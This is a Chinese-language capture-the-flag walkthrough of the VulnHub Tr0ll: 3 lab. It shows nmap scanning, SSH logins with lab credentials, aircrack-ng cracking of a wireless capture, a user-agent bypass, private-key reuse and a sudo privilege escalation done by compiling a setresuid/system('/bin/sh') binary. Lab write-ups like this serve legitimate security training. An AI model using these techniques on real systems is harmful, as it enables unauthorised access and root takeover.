本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机下载好加载到VMware里面去,我这里配置的网卡模式是仅主机模式,然后不知道是什么IP地址,我就使用Windows环境下的MAC地址扫描器扫描了一下发现了真是的IP地址,这里也是可以使用kali下netdiscover进行发现,当然也可以直接使用nmap进行全网段扫描,nmap -sn -v 192.168.5.*

地址:​​https://www.vulnhub.com/entry/tr0ll-3,340/​

  • 发现目标是192.168.5.132,开启使用nmap对其进行全端口扫描
  • nmap -p- 192.168.5.132
  • 或者需要详细点的信息可以使用nmap  -sV -v -p- 192.168.5.132
  • 发现结果是只开放了22端口,根据靶机开机提示可以知道一个登录目标的账号和密码分别是start:here
  • 于是登录目标靶机
  • ssh 192.168.5.132 -l start   输入密码here
  • 具体如下:

Vulnhub-靶机-Tr0ll: 3_nginx

 尝试查找属于该用户能执行的文件

find / -type f -perm 0777 2>/dev/null

Vulnhub-靶机-Tr0ll: 3_nginx_02

Vulnhub-靶机-Tr0ll: 3_文件名_03

 看到一个wytshadow.cap的文件,尝试有wireshark打开查看里面的数据包信息,发现是802.11协议,那么这跟无线关系很大,注意:我这里是将文件拷贝到Windows环境下使用最新版的wireshark打开,打开之前将其后缀cap格式改成pcap后缀格式文件打开,上述确认后便开始使用kali下的无线破解天空套件进行破解密码,具体如下:

Vulnhub-靶机-Tr0ll: 3_nginx_04

 aircrack-ng -w gold_star.txt wytshadow.cap

获得的密码是:  gaUoCe34t1

那么就可以使用账户wytshadow 密码是gaUoCe34t1 进行登录

登录进行发现如下信息:

Vulnhub-靶机-Tr0ll: 3_nginx_05

发现了可执行文件oohfun,然后执行这个文件,结果是屏幕一直出现

 iM Cr@zY L1k3 AAA LYNX

Vulnhub-靶机-Tr0ll: 3_可执行文件_06

 经过确认可知LYNX是个命令行的浏览器,查看下sudo的特权

sudo -l

Vulnhub-靶机-Tr0ll: 3_文件名_07

 发现此账户是可以直接使用root权限开启nginx

使用find命令查找跟nginx相关的目录, find / -name nginx 

发现nginx的配置目录在/etc/nginx//etc/nginx/sites-enabled/ 里面有个default文件,查看配置文件信息如下:

    Vulnhub-靶机-Tr0ll: 3_nginx_08

 大概意思就是开启nginx服务并监听8080端口,外部访问的user-agent只能是LYNX,否则就返回403

尝试开启nginx服务

 sudo /usr/sbin/service nginx start

Vulnhub-靶机-Tr0ll: 3_文件名_09

 Vulnhub-靶机-Tr0ll: 3_文件名_10

 尝试直接使用浏览器访问,显示403,这也就验证我上面所说的

Vulnhub-靶机-Tr0ll: 3_nginx_11

 那么我们尝试使用lynx访问,在kali上安装此命令工具

sudo apt-get install lynx

Vulnhub-靶机-Tr0ll: 3_文件名_12

 发现最新的2020版本的kali装不了,那我就换一种方式访问

因为我们已经知道了目标靶机的8080端口是使用nginx通过user-agent来判断来源的,而这个user-agent我们是可以更改的,所以我可以直接使用burpsuite进行更改即可,其他插件也都是可以操作的,具体如下:

Vulnhub-靶机-Tr0ll: 3_nginx_13

获得账户和密码,如下:

genphlux:HF9nd0cR!

 开始登录账户genphlux 得到如下信息:

Vulnhub-靶机-Tr0ll: 3_可执行文件_14

 发现了一个新的用户,并且含有对于的私钥,那么可以将这个私钥复制到本地将权限改为600就可以直接连接上去了

chmod 600 id_rsa.tr

ssh -i id_rsa.tr 192.168.5.132 -l maleus

Vulnhub-靶机-Tr0ll: 3_nginx_15

Vulnhub-靶机-Tr0ll: 3_可执行文件_16

 查看viminfo信息,发现账户maleus的密码

Vulnhub-靶机-Tr0ll: 3_文件名_17

 密码是: B^slc8I$

同此账户的密码尝试查看sudo的权限

Vulnhub-靶机-Tr0ll: 3_文件名_18

根据上述显示,可以知道此文件名使用sudo是具备root权限,尝试查看此文件是什么类型的文件

Vulnhub-靶机-Tr0ll: 3_nginx_19

 发现此文件是可执行文件,那么就可以判断,如果此文件使用sudo权限执行,那么就可以提权为root用户,所以前提是要更改里面的代码为提权代码,目前此文件执行的效果如下:

Vulnhub-靶机-Tr0ll: 3_文件名_20

 我们尝试复制此文件到一个新的文件名称为dont_even_bother.c 在此文件使用vim写入提权代码,具体如下:

int main (void){
setresuid(0,0,0);
system("/bin/sh");
}

然后删除原有的文件名dont_even_bother ,尝试使用gcc编译为此文件名的可执行文件

  gcc dont_even_bother.c -o dont_even_bother

Vulnhub-靶机-Tr0ll: 3_nginx_21

 文件已经生成,那么就可以直接提权操作了,看下面操作:

Vulnhub-靶机-Tr0ll: 3_文件名_22

 Vulnhub-靶机-Tr0ll: 3_文件名_23

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!